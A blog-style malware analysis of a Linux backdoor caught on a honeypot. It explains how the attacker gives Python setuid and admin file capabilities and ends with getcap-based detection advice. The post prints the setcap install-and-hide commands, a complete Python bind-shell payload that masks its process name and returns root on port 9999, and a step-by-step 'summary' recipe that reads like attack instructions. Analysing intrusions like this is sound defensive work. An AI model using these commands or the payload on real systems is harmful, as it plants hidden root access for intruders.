A Valiant Effort at a Stealthy Backdoor

We will be discussing a technique that isn't utilized too often anymore and has been around for many years, however appears to be forgotten...

In the past few months most attempts I have observed at using userland binaries to keep relatively persistent and simple access [*not involving rootkits] on Linux systems have involved setuid. This is why I was a bit shocked to see other forms of persistence with userland binaries which rely also on old techniques but possibly forgotten techniques.

A script was dropped onto one of our honeypots - it started by checking if the user was root, if so it would continue, if not, it would quit. From there it proceeded to install the packages needed to use setcap (supported Redhat and Debian based systems). There were payloads for Perl, Python, and Ruby.

We will be focusing on the Python aimed payloads.

  • Debian
apt-get install libcap2-bin && setcap cap_dac_override,cap_setuid,cap_sys_admin+ep $(which python)2.7 && echo 'Y'|apt-get remove libcap2-bin
  • Redhat
yum install libcap2-bin && setcap cap_dac_override,cap_setuid,cap_sys_admin+ep $(which python)2.7 && echo 'Y'|yum remove libcap2-bin

*Note: The attacker removes getcap/libcap2-bin; this however may cause some system issues, proceed at your own risk.

A quick analysis of this portion of the script shows that the attacker is looking for Python 2.7, perhaps his or her targets generally have that version. However it is important to point out that many systems may have much older versions of Python and thus removing the 2.7 so it becomes $(which python) may work more effectively.

In case you aren't familiar with file system capabilities on Linux, here is an excerpt from the capabilities manpage.

"For the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes (whose effective user ID is 0, referred to as superuser or root), and unprivileged processes (whose effective UID is nonzero). Privileged processes bypass all kernel permission checks, while unprivileged processes are subject to full permission checking based on the process's credentials (usually: effective UID, effective GID, and supplementary group list).

Starting with kernel 2.2, Linux divides the privileges traditionally associated with superuser into distinct units, known as capabilities, which can be independently enabled and disabled. Capabilities are a per-thread attribute.

Since kernel 2.6.24, the kernel supports associating capability sets with an executable file using setcap(8). The file capability sets are stored in an extended attribute (see setxattr(2)) named security.capability. Writing to this extended attribute requires the CAP_SETFCAP capability. The file capability sets, in conjunction with the capability sets of the thread, determine the capabilities of a thread after an execve(2)."

Breakdown of capabilities applied to target binaries:

CAP_DAC_OVERRIDE Bypass file read, write, and execute permission checks. (DAC is an abbreviation of "discretionary access control".)

CAP_SETUID Make arbitrary manipulations of process UIDs (setuid(2), setreuid(2), setresuid(2), setfsuid(2)); make forged UID when passing socket credentials via UNIX domain sockets.

CAP_SYS_ADMIN Perform a range of system administration operations including: quotactl(2), mount(2), umount(2), swapon(2), swapoff(2), sethostname(2), and setdomainname(2);

ep Effective/Permitted

Feel free to read the capabilities manpages to learn more about capabilities. (~$ man capabilities)

Payload breakdown

*This backdoor could have been achieved without applying all three capabilities, the attacker is most likely using this for testing purposes.

Once the target binaries have capabilities applied to them, the script then drops what appears to be a very simply modified version of epinna's hacked up in-memory Python bindshell.

Attacker's version:

python -c $'import sys,re,pty,os,socket\nos.setuid(0)\nn="/bin/bash"\nP=4096\nf="/proc/self/"\nc=open(f+"cmdline").read()\nmp=open(f+"maps").read(65536)\nm=re.search("([0-9a-f]+)-([0-9a-f]+)\\s+rw.+\\[stack\\]\\n", mp)\ne=int("0x"+m.group(2), 0)\nm=open(f+"mem", "r+")\nm.seek(e-(2*P))\ns=m.read(8192)\ni=s.index(c)\nm.seek(e-(2*P)+i)\nm.write(n)\nm.write("\\x00"*(len(c)-len(n)+1))\nm.close()\nk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nk.bind(("",9999))\nk.listen(1)\nwhile 1:\n (r, a)=k.accept()\n os.dup2(r.fileno(),0)\n os.dup2(r.fileno(),1)\n os.dup2(r.fileno(),2)\n pty.spawn("/bin/bash")\nk.close()'

If you didn't catch what changed here perhaps due to the clustered one-line format, the attacker literally added a os.setuid(0) after socket. The reason for is clear, the attacker is abusing the capabilities set on the Python binary to gain a privileged shell.

What is strange is that one would assume an attacker using a technique like this would know that bind shells are generally not too effective on most systems due to firewall configurations and the alike. However, giving them the benefit of the doubt (and reading some comments in the script, ie. "#testing" this script is likely not the fully weaponized dropper).

That being said, the bindshell is created and seems to work quite flawlessly.

canon@monopoly:~$ nc localhost 9999

root@monopoly:~# whoami;id
whoami;id
root
uid=0(root) gid=1000(canon) groups=0(root),4(adm),22(voice),24(cdrom),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(lpadmin),122(pulse),123(pulse-access),125(debian-tor),128(sambashare),129(vboxusers),1000(canon)

Detection attempt using stat

Running stat /usr/bin/python2.7 after setcap on Python.

Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

versus a simple more common chmod 4755 or u+s /usr/bin/python which would yield

Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

The attacker most likely prefers using setcap over setuid due to the fact that most people are not aware of file system capabilities. Most system administrators will not think twice to check if certain binaries have risky capabilities applied whereas most knowledgeable sysadmins will definitely see 4755 permissions as a redflag. Not to mention, finding SUID binaries recursively with the find command (find / -perm -4000 -type f 2>/dev/null) is quite common practice, using find and getcap on the other-hand is rarely practiced.

Simple detection and other target binaries

An attacker could be arguably even more evil and target binaries such as echo,cat,touch, etc. Setting capabilities on PHP is occasionally practiced as well in order to create web-shells that can provide future root access if needed.

Here is a one-liner for simple detection of binaries with set capabilities, a system administrator should be able to determine which binaries pose the greatest risk.

find / -type f -exec getcap {} \;

Snippet of results:

root@monopoly:~# find / -type f -exec getcap {} \;
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/arping = cap_net_raw+ep
Failed to get capabilities of file `/run/rpc_pipefs/gssd/clntXX/info' (Operation not supported)

In summary:

  • have a kernel that isn't too ancient (2.6.24+) to support use of setcap
  • get root; install setcap required binaries
  • setcap Python or other desired binary; getcap to confirm
  • simple 'stealthy' userland backdoor
  • $$$ profit $$$

Shayan Sadigh

Read more posts by this author.